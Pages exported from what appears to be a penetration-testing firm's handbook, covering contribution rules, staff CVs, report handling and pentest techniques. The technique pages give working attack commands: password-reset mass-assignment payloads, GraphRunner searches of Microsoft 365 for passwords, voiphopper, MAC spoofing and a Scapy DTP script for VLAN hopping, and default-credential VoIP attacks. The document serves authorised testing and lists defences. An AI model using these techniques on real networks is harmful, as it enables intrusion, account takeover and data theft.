`Remove-ADComputer EVIL` / `Remove-MachineAccount EVIL` / `impacket-addcomputer -delete ...` | n/a | ## Mitigation and detection Harden the directory (primary fix): * Require LDAP signing and channel binding on domain controllers ([ADV190023](https://msrc.microsoft.com/update-guide/vulnerability/ADV190023), [KB4520412](https://support.microsoft.com/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-kb4520412-ef185fb8-00f7-167d-744c-f299a66fc00a)). * Enable EPA on AD CS and other relay-sensitive services. * Set `ms-DS-MachineAccountQuota` to `0` for standard users; delegate join rights to a dedicated group. --- --- url: 'https://handbook.syslifters.com/making-changes.md' description: >- Guidelines for contributing changes to the handbook, including sensitivity and review expectations. --- # Making changes ## Implement small changes immediately Don't keep them for later (it won't happen). If you don't have the time to document a larger topic, consider [creating an issue](https://gitlab.internal.syslifters.com/docs/public/-/issues) to not forget about it. The handbook doesn't have to include everything at once. Make small changes iteratively. ## Present large changes in the daily standup If you make significant changes, or add large content pieces, please present them in our daily standup. ## Don't publish sensitive information Our documentation should be public by default.\ However, don't add contents that: * are out there on the Internet (rather add links) * have copyright restrictions * contain sensitive information, like * customer names or data (without agreement) * URLs or targets or our pentesting projects * security findings * personal information (without agreement) * data that might pose a relevant risk to us or our company. Link to non-public content (like the [Syslifters Knowledge Base](https://syslifters.sysre.pt/projects/5086e509-4fca-4d99-aa2a-404feeda69a7/notes/)), if necessary. If non-public documentation is non-public intentionally, document it there. In markdown files, use the frontmatter syntax, e.g.: ```yaml --- note: Non-public due to copyright reasons --- ``` ## Merge requests for change reviews Create a new branch and ask for a merge request review from colleagues if: * The contents might contain sensitive information, like * redacted screenshots (is there anything unredacted left) * shell commands (might contain sensitive options) * The change contains significant changes in our working procedures. * You are unsure, need further inputs, etc. * Never merge data to the main branch that is not supposed to be public (yet). ## Use content pieces for documentation Add your information to existing or new `.md` files. Add new markdown files to the correct directory (e.g., `/pentesting-manual/`, `/organization/`; otherwise the navigation in the sidebar breaks when opening the page). All content files should have a frontmatter block, at least with a `title` and a `description` attribute: ```yaml --- title: description: --- ``` You can use AI to generate a suitable description. The description is used for html `meta` tags and in [llms.txt](/llms.txt). All titles and menu entries should be in sentence case. Add `search: false` to frontmatter to exlude the page from the handbook search. Images and files should have human-readable names. Images live in the /docs/public/images directory, binary files in /docs/public/assets. ## Use blog posts for short-lived information The contents of handbook articles should kept up to date as long as it is feasible for us. If we want to publish contents that might change in the future, are one-shot initiatives, or it is foreseeable that we have no interest in keeping it up to date, we can publish the information as a [blog post](/blog/). Blog posts have a timestamp and readers can judge for themselves if the content is up-to-date.\ We don't have a target of writing X blog posts per month. Use or adapt the following prompt to generate a cover image (e.g., using Gemini 3.1 Pro): ``` Create a cover image in format 1920 x 1080px for this blog post. * Monochrome minimalist vector illustration: black shapes on a light gray background with no color accents. * Flat, high-contrast silhouettes: icons and symbols rendered as solid geometric forms. * Modernist / Bauhaus-inspired: simple geometry, strong negative space, balanced composition. * Poster/icon aesthetic: clean edges, minimal detail, a few abstract line/dot elements for texture and motion. * No text ``` Blog posts have the following frontmatter/metadata fields: ``` --- pageClass: blog-page title: author: tags: date: YYYY-MM-DD cover: /images/xyz.png --- ``` ## How to implement a change The easiest way to implement a change is to use the [GitLab web IDE](https://gitlab.internal.syslifters.com/-/ide/project/docs/public/edit/main/-/) (the link if for the main branch). The contents are in `.md` files in the `/docs/` directory. Put images to `/docs/public/images/` and other files to `/docs/public/assets/`.\ Navigation and other site settings are in `/docs/.vitepress/config.ts`. Fix typos and make small changes that don't need approval directly in the main branch. Create a new branch and a merge request for other changes. You can also check out the project to your developer machine and run the dev server using `npm run de` (`npm run dev -- --host 0.0.0.0` to bind the port to all interfaces). ### Redirect after renaming files and directories If you rename a files or a directory, make sure that the old path redirects to the new destination. Add the old and the new path to `/docs/redirects.txt` and VitePress will handle the redirect for you. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/auth/mass-assignment-password-resets.md description: Try adding extra parameters to change another user's password. --- # Mass assignment in password resets In a password change/reset request, try adding additional parameters to change other users’ passwords. For example, if a normal password change request includes the following parameters: `{ "token": "abc123", "password": "newPass123" }` Try adding a username or email: `{ "token": "abc123", "password": "newPass123", "email": "victim@target.com" }` If this works to change the other user's password, also try to send the request without a token: `{ "password": "newPass123", "email": "victim@target.com" }` Or: `{ "token": "null", "password": "newPass123", "email": "victim@target.com" }` --- --- url: 'https://handbook.syslifters.com/about-us/matthaeus.md' description: >- Profile page and CV for Matthäus Förster with contact details, experience, and certifications. --- matthaeus@syslifters.com ( S/MIME [cer](/assets/matthaeus.cer)/[pem](/assets/matthaeus.pem){target="\_blank" rel="noreferrer"}) * **since 09/2024** Pentester at Syslifters GmbH * **2018-2024** First & Second Level Support and System Engineer at Würth Handelsges.m.b.H. * Active Directory Management: User and group management, GPOs, permissions, and role management * Virtualization: Administration and optimization of the virtualization environment * Patch Management: Planning, testing, and deployment of security updates * Backup & Recovery: Management and automation of data backups * Troubleshooting & Support: Analysis and resolution of hardware/software issues for end users and servers * IT Security & Compliance: Implementation of security best practices and system hardening * Documentation & Process Optimization: Creation of IT documentation and improvement of internal processes - University of Applied Sciences St. Pölten * IT-Security (BSc) - Engineering College (HTBLuVA) St. Pölten EDV und Organisation * Computer Science * Business Administration - B2 Business Englisch Certificates (BEC) Vantage - XINTRA Attacking and Defending Azure & M365 * Chairman of the Traditional Music Association of the Market Town of Kirchstetten * Volunteer Paramedic at the Austrian Red Cross --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/matthaeus.md' description: >- Profilseite und Lebenslauf von Matthäus Förster mit Kontakt, Erfahrung und Zertifikaten. --- matthaeus@syslifters.com ( S/MIME [cer](/assets/matthaeus.cer)/[pem](/assets/matthaeus.pem){target="\_blank" rel="noreferrer"}) * **seit 09/2024** Pentester bei Syslifters GmbH * **2018-2024** First & Second Level Support und System Engineer bei Würth Handelsges.m.b.H. * Active Directory Management: Benutzer- und Gruppenverwaltung, GPOs, Rechte- und Rollenmanagement * Virtualisierung: Betreuung und Optimierung der Virtualisierungsumgebung * Patch-Management: Planung, Testing und Deployment von Sicherheitsupdates * Backup & Recovery: Verwaltung und Automatisierung von Datensicherungen * Troubleshooting & Support: Analyse und Behebung von Hardware-/Software-Problemen für Endnutzer und Server * IT-Security & Compliance: Umsetzung von Security Best Practices und Härtung von Systemen * Dokumentation & Prozessoptimierung: Erstellung von IT-Dokumentationen und Verbesserung interner Abläufe - Fachhochschule St. Pölten * IT-Security (BSc) - HTBLuVA St. Pölten Informatik * Informatik * Betriebswirtschaft - B2 Business Englisch Certificates (BEC) Vantage - XINTRA Attacking and Defending Azure & M365 * Obmann der Trachtenmusikkapelle Marktgemeinde Kirchstetten * Ehrenamtlicher Rettungssanitäter beim Österreichischen Roten Kreuz --- --- url: 'https://handbook.syslifters.com/about-us/michael.md' description: >- Profile page and CV for Michael Wedl with contact details, experience, and certifications. --- michael@syslifters.com ( S/MIME [cer](/assets/michael.cer)/[pem](/assets/michael.pem){target="\_blank" rel="noreferrer"}) * **seit 04/2022** Co-Founder of Syslifters GmbH * **2019-2022** Security-Software Developer at A1 Digital International GmbH * Software Development of vulnerability scanner Offensity * Penetration Testing * **2018-2019** Military Service in the Austrian Armed Forces * Function Cyber-Soldier * **2017** Software Developer at MBIT Solutions GmbH * Vacation internship * **2015 und 2016** Vacation internship at Lower Austrian Chamber of Commerce - University of Applied Sciences St. Pölten * Information Security (DI) * IT-Security (BSc) - HTBL Krems * Information Technology - OSCP – Offensive Security Certified Professional - ITIL v3 Foundation Certificate * Multiple winner of the Austrian Cyber Security Challenge (2018, 2020, 2022) * 3rd place at the European Cyber Security Challenge 2019 * 3rd place at Catalyst's Coding Contest 2018 --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/michael.md' description: >- Profilseite und Lebenslauf von Michael Wedl mit Kontakt, Erfahrung und Zertifikaten. --- michael@syslifters.com ( S/MIME [cer](/assets/michael.cer)/[pem](/assets/michael.pem){target="\_blank" rel="noreferrer"}) * **seit 04/2022** Mitgründer der Syslifters GmbH * **2019-2022** Security-Software-Entwickler bei A1 Digital International GmbH * Softwareentwicklung Vulnerability-Scanner Offensity * Penetration Testing * **2018-2019** Präsenzdiener beim Österreichischen Bundesheer * Funktion Cyber-Soldat * **2017** Softwareentwickler bei MBIT Solutions GmbH * Ferialpraktikum * **2015 und 2016** Ferialpraktikant bei Wirtschaftskammer NÖ - Fachhochschule St. Pölten * Information Security (DI) * IT-Security (BSc) - HTBL Krems * Informationstechnologie - OSCP – Offensive Security Certified Professional - ITIL v3 Foundation Certificate * Mehrmaliger Sieger der Austrian Cyber Security Challenge (2018, 2020, 2022) * Platz 3 der European Cyber Security Challenge 2019 * Platz 3 des Catalysts Coding Contest 2018 --- --- url: >- https://handbook.syslifters.com/pentesting-manual/entraid-azure/enumeration/microsoft-365-pillaging.md description: >- Post-exploitation enumeration and pillaging of Microsoft 365 (mail, SharePoint, OneDrive, Teams) via Microsoft Graph with GraphRunner. --- # Microsoft 365 pillaging With a valid user token in a tenant, pillage the apps that user can already reach (mailbox, OneDrive, SharePoint, Teams) for credentials, secrets, and sensitive business data, and enumerate app registrations, dynamic groups, and consent grants from a single point. Our tool of choice is [GraphRunner](https://github.com/dafthack/GraphRunner), a PowerShell post-exploitation toolkit for the Microsoft Graph API. It also contains primitives for persistence (illicit consent grant via `Invoke-InjectOAuthApp`) and lateral movement. ## GraphRunner ### Authentication The built-in `Get-GraphTokens` does the device code flow against the well-known Microsoft Office client id and stores tokens in `$tokens` for the rest of the session. Token scopes are determined by the Office client id consented in the target tenant. If a query 403s, refresh with a different FOCI client id (see [entrascopes.com](https://entrascopes.com/) for what scopes each first-party app pre-consents). ```powershell . .\GraphRunner.ps1 Get-GraphTokens ``` Browse to `https://microsoft.com/devicelogin`, enter the displayed code, and authenticate as the assessment user. For unattended re-use, refresh the access token from the stored refresh token: ```powershell Invoke-RefreshGraphTokens -RefreshToken $tokens.refresh_token -Tenant ``` ### Recon `Invoke-GraphRecon` dumps tenant identity info, current user's directory roles, app registrations, dynamic groups, and a permissions overview to `recon.txt`: ```powershell Invoke-GraphRecon -Tokens $tokens -PermissionEnum ``` Targeted enumeration helpers worth knowing: ```powershell Get-DynamicGroups -Tokens $tokens Get-AppPermissions -Tokens $tokens Get-AzureADUsers -Tokens $tokens -OutFile users.csv Get-Inbox -Tokens $tokens -UserId Get-SecurityGroups -Tokens $tokens ``` ### Pillaging Query against mail, SharePoint, OneDrive, and Teams via cross-service keyword search: ```powershell Invoke-SearchMailbox -Tokens $tokens -SearchTerm 'password' -OutFile mail-hits.csv Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm 'password' -ResultSize 200 Invoke-SearchTeams -Tokens $tokens -SearchTerm 'password' ``` `Invoke-ImmersiveFileReader` decodes the obfuscated OneDrive/Sharepoint Immersive Reader URLs that occasionally surface in mailbox hits. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/missing-data-loss-prevention-policy.md description: >- Missing DLP policies can enable unwanted connectors and data exfiltration from Power Platform environments. --- # Missing data policy (Data Loss Prevention) * [Establish a data policy - Power Platform | Microsoft Learn](https://learn.microsoft.com/en-us/power-platform/admin/assign-security-roles?tabs=new#automatic-role-assignment) * [Prevent Data Loss - Power Platform](https://learn.microsoft.com/en-us/power-platform/admin/prevent-data-loss) Without a data policy, users/makers can use every connector to send/receive data in the Power Platform environment and their configured Power Apps. This can lead to data exfiltration or usage of unwanted services. The default environment with default permissions (every user has maker permissions) should be hardened extra tight. Create a data policy and think about configuring for example: * Block new connectors in environments * Limit makers to prebuilt connectors * Limit custom connectors For details see [Secure the default environment - Power Platform | Microsoft Learn](https://learn.microsoft.com/en-us/power-platform/guidance/adoption/secure-default-environment#establish-a-data-policy). For data policy creation hints see . --- --- url: 'https://handbook.syslifters.com/de/nach-pentests.md' description: >- Nach dem Pentest - Bericht, kostenlose Nachtests (unter Bedingungen) und Hinweise zum Deprovisionieren von Zugängen. --- # Nach unseren Pentests * Wir schicken euch so bald wie möglich (in der Regel wenige Tage) nach Abschluss der Tests den Bericht im PDF-Format (verschlüsselt, Passwort über zweiten Kanal). In Einzelfällen kann es auch etwas länger dauern, maximal aber vier Wochen. * Es ist uns sehr wichtig, dass ihr mit unserem Bericht auch arbeitet und Verbesserungsmaßnahmen daraus ableitet. **Deshalb testen wir für euch behobene Schwachstellen kostenlos nach**, wenn sie innerhalb von acht Wochen behoben werden (bei Einkauf direkt bei uns, nicht über Partner)! Bitte gebt uns Bescheid, wenn alles behoben ist, damit wir alles gesammelt nachprüfen können. * Es ist sinnvoll, unsere Zugänge und Benutzerkonten bis zur Nachprüfung aktiv zu lassen. * Sobald sie aber nicht mehr benötigt werden, bitte alles deprovisionieren, was nicht mehr gebraucht wird. ::: tip So senden wir unsere Berichte Wir stellen unsere Berichte über passwortgeschützte Sharing-Links zur Verfügung. Der als PDF verschlüsselte Bericht kann von dort heruntergeladen werden. Durch die per TLS/HTTPS geschützte Verbindung erfolgt die Datenübertragung verschlüsselt („Encrypted Data in Transit“), während durch den verschlüsselten PDF-Bericht auch der gespeicherte Bericht verschüsselt ist ("Encrypted Data at Rest"). Die Gültigkeit der Links ist zeitlich eingeschränkt (standardmäßig: zwei Wochen). Auf Kundenwunsch übermitteln wir den Bericht gerne auch als verschlüsselte PDF-Datei per E-Mail. Notwendige Passwörter übermitteln wir über einen zweiten Kanal (empfohlen: Signal Messenger; alternativ z. B. per SMS). ::: --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/enumeration/network-enumeration/nac.md description: >- VLAN discovery, 802.1X / NAC assessment, and voice-VLAN pivoting on access ports. --- # Network access control (NAC) 802.1X (and fallbacks like MAB) decides which VLAN and policy you get; CDP / LLDP / STP leak how the switch is wired. ## VLAN discovery Usually, switchports are configured as access ports, which only allow specific VLANs, but there are some protocols like CDP / LLDP / STP, which can advertise interesting VLAN ids. We can try to [hop](#vlan-hopping-via-cdplldp-med-spoofing) to these networks. ### Passive discovery Wireshark filters: `cdp`, `lldp`, `stp`. ```bash tcpdump -ni eth0 -e ether[20:2]=0x2000 # Cisco CDP tcpdump -ni eth0 ether proto 0x88cc # LLDP tcpdump -ni eth0 stp # STP BPDU ``` | Protocol | What leaks | Use | | --- | --- | --- | | CDP | Neighbor, port, native VLAN, voice VLAN (Cisco) | Cisco access / voice | | LLDP / LLDP-MED | Same + Network Policy (voice VLAN ID) | Multi-vendor, IP phones | | STP | Root, topology, PVST+ VLAN in BPDU | Path / misconfig | | DTP | Trunk negotiation | Rogue trunk, extra VLANs | ### Identifying the voice VLAN Voice is usually a dedicated VLAN (often tagged on the switch-phone trunk, untagged or separate access VLAN on the PC port). Do not assume the voice ID equals the data VLAN from DHCP on the PC. 1. CDP (Cisco phone or switch neighbor) * Capture on the switch-facing side of the phone (mirror) or any port sending CDP. * Wireshark: expand Cisco Discovery Protocol, field Voice VLAN (AVVID / VoIP extensions; filter `cdp` and search packet details). * Also note Native VLAN and Duplex. Voice is not the native VLAN in a typical voice + data trunk. 2. LLDP-MED (most IP phones) * Network Policy TLV: Application Type = Voice (value 1); VLAN ID is the voice VLAN. * Wireshark filters: ```text lldp.tlv.med.network_policy.application_type == 1 lldp.tlv.med.network_policy.vlan_id ``` * Voice Signaling (type 2) may share the same VLAN or a separate ID. Record both. 3. From the phone itself * Web UI (Network / VLAN): Administrative VLAN, Voice VLAN, PC port VLAN mode (`Single VLAN`, `Separate VLANs`, etc.). * Cisco: often Auxiliary VLAN / Voice VLAN in status pages; PC port "Span to PC" / Cisco Unified port config. 4. Traffic on the wire * After the phone registers: 802.1Q-tagged RTP/SIP to the voice VLAN ID; untagged PC traffic may stay on access/data VLAN. * DHCP: voice clients sometimes use Option 150 (TFTP) / 66, only visible after you are on the voice segment. * OUI: Cisco `00:1A:2F...`, Polycom, Yealink. Correlate with CDP/LLDP System Name / Chassis ID. 5. PC port behavior (pivot check) | PC port config | What the laptop often sees | | --- | --- | | Voice VLAN untagged to PC (misconfig) | DHCP on voice subnet without phone MAB on PC MAC | | Access VLAN = data only | Corp/guest VLAN; voice only on phone trunk | | Multi-host behind phone | Data VLAN without EAPOL on PC; voice still tagged phone-switch | ### VLAN hopping via CDP/LLDP-MED spoofing 1a. Spoof CDP-MED announcing yourself as a phone ```bash # Discovery mode: listen for CDP and identify voice VLAN sudo voiphopper -i eth0 -c 0 # CDP spoof + create tagged interface on detected voice VLAN sudo voiphopper -i eth0 -c 2 ``` What `-c 2` does: 1. Sniffs the switch's CDP for VoIP VLAN Reply TLV. 2. Crafts an outbound CDP packet with TLVs that mimic a Cisco IP Phone: * Device ID: `SEP` + a MAC that looks like Cisco phone OUI (00:1B:D4, 00:1E:F7, etc.) * Capabilities: `Host` + `Phone` * Platform: `Cisco IP Phone 7960` (or similar) * Software version: a plausible firmware string * Power consumption (some switches gate the voice VLAN on PoE negotiation) 3. Creates an 802.1Q VLAN sub-interface (`eth0.`). 4. DHCPs on it. You'll see something like: ``` VoIP Hopper 2.04 Running in CDP Spoof mode Discovered Voice VLAN: 200 Sending 1 CDP packet(s) to advertise IP Phone presence VLAN Hop Successful DHCP IP: 10.10.20.47/24, GW 10.10.20.1 ``` 1b. Spoof LLDP-MED announcing yourself as a phone LLDP-MED is the vendor-neutral equivalent. Use `lldpd` in TX mode, or specialized tools: ```bash # /etc/lldpd.d/phone.conf configure system platform "Cisco IP Phone 8845" configure system description "Cisco IP Phone 8845, Firmware 12.7" configure med location elin "0000000000" configure med policy application voice tagged vlan VOICE_VLAN_ID priority voice dscp 46 ``` And restart lldpd: ```bash sudo systemctl restart lldpd ``` Once the switch processes the LLDP-MED Network Policy advertisement coming *from* you, some switches will: * Add your MAC to the voice domain's permitted list. * Echo back the Network Policy with the voice VLAN ID, confirming. * For NAC-profiled deployments (ISE), profile you as an IP phone and apply the voice authorization policy automatically. 2. Manually create the tagged VLAN interface If `voiphopper` didn't do it, or you're using LLDP-MED: ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0. type vlan id sudo ip link set eth0. up sudo dhclient -v eth0. # or static: # sudo ip addr add 10.10.20.99/24 dev eth0.200 # sudo ip route add default via 10.10.20.1 dev eth0.200 ``` Now `eth0` is your data VLAN interface (untagged) and `eth0.` is your voice VLAN interface (tagged). Both can be live simultaneously on the same physical port. ### Step 4: Bypassing 802.1X on the voice domain Three flavors depending on config: 3a. No 802.1X on voice domain: done at Step 3. You're in. 3b. MAB on voice domain: sniff a phone's MAC (it's printed on the back of every Cisco phone, or sniffable from CDP `Device ID = SEP`), spoof it before sending CDP/DHCP: ```bash sudo ip link set eth0 down sudo ip link set eth0 address 00:1b:d4:aa:bb:cc sudo ip link set eth0 up ``` Then re-run voiphopper or lldpd. Switch sees the "phone" MAC, MAB authorizes it, voice VLAN granted. 3c. EAP-TLS on voice domain: you need a phone cert. Either: * Pull the cert from a real phone (many Cisco phones have weak/no protection on the LSC store; web admin or factory mode export). * Compromise the CAPF (Certificate Authority Proxy Function) on CUCM, which signs phone certs. CAPF auth strings are sometimes trivial (`12345`). * Skip and find a port without EAP-TLS on voice. These are common because not every phone fleet supports certs. 4. Recon inside the voice VLAN | Service | Port | What's there | |---|---|---| | TFTP | 69/udp | Phone config files (often `SEP.cnf.xml`) with SIP creds, admin URLs, CUCM IPs | | HTTP/HTTPS | 80/443/8080/8443 | CUCM admin, Unity Connection, phone web UI | | SCCP (Skinny) | 2000/2443 | Cisco's proprietary VoIP signaling | | SIP | 5060/5061 | Standard VoIP signaling | | RTP | 16384-32767 | Active calls, sniffable if you ARP-spoof | | SNMP | 161 | Phone & infra management, often `public`/`private` | ### Step 6: Useful follow-on attacks once on voice VLAN * TFTP enumeration: pull `SEP.cnf.xml` for every phone on the network. Brute the MAC space or learn MACs from CDP/LLDP elsewhere. ```bash tftp 10.10.20.5 tftp> get SEP001BD4AABBCC.cnf.xml ``` These configs frequently contain CCMUser auth URLs, CAPF info, and sometimes embedded creds. * VOMIT / RTP capture: `rtpbreak`, `wireshark` "Telephony > RTP > RTP Streams > Analyze > Player" to record calls if you can position yourself on RTP paths (ARP spoofing inside the voice VLAN, since hubs/switches treat you like any host). * SIP attacks: `sipvicious` (`svmap`, `svwar`, `svcrack`) for enumeration and PIN/password brute force. Many extensions have `1234` voicemail PINs. * Call Manager attacks: CUCM has a long history of CVEs (path traversal in CCMAdmin, default `application` user creds, `ciscotac1` accounts). Worth searching the IOS/CUCM version you fingerprinted. * Phone exploitation: SSH/Telnet to phones, default creds (`cisco`/`cisco`, `Administrator`/`Cisco`), web UI debug pages that dump call history, configs, and sometimes provide a "ping" or "traceroute" feature that's a command injection sink. Workflow: if you captured and configured the voice VLAN, continue with [host and service discovery](./host-and-service-discovery) on that subnet. ### Tie-in 1. CDP/LLDP: data, voice, guest, mgmt VLAN IDs. 2. 802.1X: how each port class authenticates (host mode + EAP/MAB). 3. Weakest path (voice PC port, multi-host, guest, MAB): scan reached subnet. ## 802.1X 802.1X is a port-based network access control (NAC): the switch is the authenticator, a supplicant on the endpoint (or phone) runs EAPOL, and RADIUS / NPS (often with AD) issues accept/reject and sometimes a VLAN assignment (RADIUS `Tunnel-Private-Group-Id`). ### Port control (authenticator state) | State | Meaning | | --- | --- | | Auto | Default: EAPOL required until success | | Force authorized | 802.1X "on" but port open (lab / broken config) | | Force unauthorized | Port stays blocked | ### Host modes (who may send after auth) Cisco and most enterprise switches implement host mode on access ports. This drives whether a second device (your laptop behind a phone) gets through. | Host mode | Behavior | Pentest angle | | --- | --- | --- | | Single-host | Only the first MAC that authenticates may use the port; others blocked | Unplug phone, auth yourself; or wait for timeout and race EAPOL | | Multi-host | After one successful 802.1X, the port accepts any MAC (hub-like) | Plug into PC port behind an authed phone, often no 802.1X on PC | | Multi-auth | Each MAC must authenticate (separate sessions) | PC may need its own PEAP/cert; phone and PC on different VLANs | | Multi-domain (Cisco MDA) | Voice and data domains on the same physical port | Phone authenticates (802.1X / MAB) for voice; PC for data, identify both VLANs | ### Authentication methods on the wire | Method | Identity | Typical use | | --- | --- | --- | | 802.1X + EAP | User/password (PEAP/TTLS), cert (TLS), PAC (FAST) | Laptops, workstations | | MAB | MAC address | Phones, printers, cameras (no EAPOL) | | 802.1X with MAB fallback | EAP first, then MAC if no EAPOL | Phones that delay EAPOL | | Guest / failed-auth VLAN | None | Captive portal or isolated subnet | | WebAuth / CWA | Browser login | Guest Wi-Fi; less common on wired | User vs machine: Windows often does computer 802.1X (cert or PEAP) at boot, then user PEAP at logon. Stealing only the user password may not reproduce machine-auth VLANs (or vice versa). ### EAP types (from EAPOL capture) | EAP (outer) | Typical meaning | | --- | --- | | PEAP / EAP-TTLS | AD username/password (inner MSCHAPv2) | | EAP-TLS | Client certificate | | EAP-FAST | Cisco PAC provisioning | | No EAPOL | MAB, open port, or auth on another device | ```bash tcpdump -ni eth0 -e ether proto 0x888e # EAPOL ``` Wireshark: `eapol` or `eth.type == 0x888e`. *** ## Bypassing 802.1X | Situation | Approach | | --- | --- | | PEAP-MSCHAPv2 | hostapd-wpe, eaphammer, FreeRADIUS-WPE: capture and crack/relay | | Stolen client cert | Import `.pfx` / profile; auth as that identity | | Weak MAB | Spoof learned phone/printer MAC | | Multi-host / open PC port | Connect behind authed phone without your own 802.1X | | Guest VLAN | Map routing to corp (ACL mistakes, VPN, dual-homed hosts) | | Voice VLAN hop | Use [voice VLAN identification](#identifying-the-voice-vlan) then scan the voice subnet. You might still need to spoof a specific phone MAC | | DTP / double tagging | Trunk or nested tags, pair with VLAN discovery | ### DTP Trunk negotiation DTP is Cisco-proprietary, on by default on most older Cisco access ports unless explicitly disabled with `switchport mode access` + `switchport nonegotiate`. The default mode `dynamic auto` will *accept* a trunk if the neighbor asks for one. The default `dynamic desirable` will *initiate* one. If you negotiate a trunk, you receive all VLANs allowed on the trunk (default = all), each as 802.1Q-tagged frames, and you can send into any of them. Recon DTP availability: ```bash sudo tcpdump -nn -i eth0 -s0 -v -e \ 'ether dst 01:00:0c:cc:cc:cc and ether[20:2]=0x2004' ``` DTP frames go to the same multicast as CDP (`01:00:0c:cc:cc:cc`) but with SNAP type `0x2004`. If you see them, the port is in `dynamic auto` or `dynamic desirable`. If you see nothing for ~60s, DTP is off. Negotiate a trunk with `yersinia`: ```bash sudo yersinia -G # GTK GUI # or interactive ncurses: sudo yersinia -I ``` In the DTP section, choose "enabling trunking". Yersinia sends a DTP packet with: * Domain: matching the switch's (or empty) * Status: `Trunk` * Type: `802.1Q` (or `ISL`) * Neighbor: a fake MAC Within seconds the switch flips the port to trunking. You'll see CDP traffic from the switch advertising trunk parameters, and BPDUs for every VLAN. CLI alternative with Scapy: ```python from scapy.all import * from scapy.contrib.dtp import * dtp = Ether(dst="01:00:0c:cc:cc:cc", src=RandMAC())/ \ LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/ \ SNAP(OUI=0x0c, code=0x2004)/ \ DTP(tlvlist=[ DTPDomain(domain=b""), DTPStatus(status=b"\x03"), # trunk DTPType(type=b"\xa5"), # 802.1Q DTPNeighbor(neighbor="aa:bb:cc:dd:ee:ff"), ]) sendp(dtp, iface="eth0", loop=1, inter=30) ``` Discover allowed VLANs on the trunk: once it's a trunk, the switch sends BPDUs and CDP for each VLAN. Capture and enumerate: ```bash sudo tcpdump -nn -i eth0 -e vlan ``` You'll see frames like `vlan 1`, `vlan 10`, `vlan 100`, `vlan 200`, `vlan 999`. Each one you see is an allowed VLAN. Mount sub-interfaces on each VLAN you care about: ```bash for v in 1 10 100 200 999; do sudo ip link add link eth0 name eth0.$v type vlan id $v sudo ip link set eth0.$v up sudo dhclient -v eth0.$v & done ``` You're now simultaneously inside every VLAN the trunk allows: guest, data, voice, server, management. Whether you can route between them depends on inter-VLAN ACLs, but you usually find at least one with juicy stuff. Native VLAN double-tagging is an old trick that occasionally still works on misconfigured switches where the native VLAN is not pruned. Send a frame with two 802.1Q tags: outer = native VLAN, inner = target VLAN. The first switch strips the outer (it matches native), forwards the frame on the trunk with the remaining inner tag, and the next switch delivers it to the target VLAN. One-way only (no replies), but useful for unauthenticated UDP attacks. ## References * [HackTricks - VLAN hopping](https://hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.html#4-voice-vlan-hijacking-via-lldpcdp-ip-phone-spoofing) * [eaphammer](https://github.com/s0lst1c3/eaphammer) * [Yersinia](https://github.com/tomac/yersinia) * [IEEE 802.1X](https://learn.microsoft.com/en-us/windows-server/networking/core-network-guide/cncg/wireless/e-wireless-access-deployment#8021x-authenticated-wired-access) (Microsoft wired access overview) ## Defenses * `switchport mode access` + `switchport nonegotiate` on every access port. * Native VLAN set to an unused or guest network. * VLAN pruning on trunks. * Modern Catalyst dot1x integration disables DTP while unauthorized. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/auth/normalization-unicode-attacks.md description: Use Unicode/punycode edge cases to redirect reset links or bypass validation. --- # Normalization and Unicode attacks (password resets) 1. Force the application to send the reset link to an attacker-controlled email address: * Use Unicode characters (e.g., `\u0131`, `\u0430`, `\u0410`, `d`, `\u00eb`) in the: * local part of the email address * domain part of the email address * Use the ASCII equivalent or the punycode address * Consider race conditions: 2. Force the application to send a password reset link with a wrong target domain: * Trigger the password reset function with a different `Host` header (only works if the server serves the website for arbitrary vhosts) * Use the `X-Forwarded-Host` header to check if you can override the `Host` header: More examples: Example domains: * sysliftërs.com * syslıfters.com --- --- url: 'https://handbook.syslifters.com/404.md' description: Page not found. --- ## Page not found If you followed an old link, you may be redirected automatically. Otherwise, use the search or navigation to find the page. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/ntlm-channel-binding.md description: >- Notes on testing "Extended Protection for Authentication" (EPA) / channel binding for NTLM over HTTPS. --- # NTLM channel binding for web apps **Draft**: I didn’t manage to get this working. What went wrong: * Firefox resets the connection when going via Burp before the NTLM response is sent. * We don't see the NTLM response in Burp. * But in Wireshark and DevTools we see that it is transmitted. * Chrome/Chromium respond with status code 400 even if the channel binding token was replaced. * Is there some kind of mutual authentication? For web applications using HTTPS and NTLM authentication (especially in AD environments), channel binding ("Extended Protection for Authentication", "EPA" in IIS) is an important setting to prevent NTLM relaying attacks. First, make sure that the web application is not reachable via HTTP. Preventing NTLM relaying for HTTP would require HTTP signing (which is technically possible, but not commonly seen). ## NTLM flow (high-level) 1. Web app responds with status code 401 and response header `WWW-Authenticate: NTLM`. * This response makes the browser show a username/password pop-up (similar to Basic/Digest auth). * Entering credentials triggers the NTLM flow. 2. Browser sends an NTLM NEGOTIATE message to the server. * It uses the request header `Authorization: NTLM TlRMTVNTUAABAA`. 3. Web app responds with status code 401 and an NTLM CHALLENGE message. * It uses the response header `WWW-Authenticate: NTLM TlRMTVNTUAACAA`. * This header includes useful information about the server. ![](/images/ntlm-challenge-server-info.png){width="auto"} (Note that the server discloses that information to unauthenticated users.) 4. Browser authenticates using an NTLM RESPONSE ("AUTHENTICATE") message. * This is where the user is actually authenticated. * Browser again uses the `Authorization: NTLM TlRMTVNTUAADAAAA` header. * The AUTHENTICATE message might include a channel binding attribute (only if the client/browser supports it). ![](/images/ntlm-authenticate-channel-binding.png){width="auto"} 5. Web app responds with success or failure. * `200` with a cookie * redirect with auth info (JWT/SAML) * `401` for failure * or seemingly weird behavior like TCP reset / `400` ## Why proxies break things Authentication failures or weird behavior when using TLS intercepting proxies (like Burp) might result from the server enforcing channel binding. In Burp, you can use "Platform Authentication" to ask Burp to do NTLM authentication with channel binding for you. If the browser does it and the server enforces channel binding, authentication *must* fail. ## Testing idea Goal: get an AUTHENTICATE message with a *wrong* channel binding attribute using correct credentials. If authentication fails, try to replace the channel binding attribute with the correct value. 1. Go through the auth flow 